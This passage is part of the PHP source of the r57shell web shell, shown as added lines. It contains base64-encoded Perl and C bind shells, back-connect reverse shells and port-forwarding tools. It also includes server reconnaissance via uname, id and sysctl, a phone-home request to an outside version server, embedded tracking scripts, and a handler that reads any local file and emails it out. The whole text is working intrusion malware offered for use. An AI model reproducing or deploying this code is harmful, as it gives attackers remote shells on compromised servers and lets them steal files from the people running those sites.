+7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}} +echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +if($unix) + { + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; + echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; + } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2)."safe_mode: <b>"; +echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); +echo "</b>".ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>")); +echo "</b>".ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } +echo "</b>".ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b>".ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";} +echo "</b><br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if($unix){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +if(!empty($id)) { echo ws(3).$id."<br>"; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@getenv("USERNAME")."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { 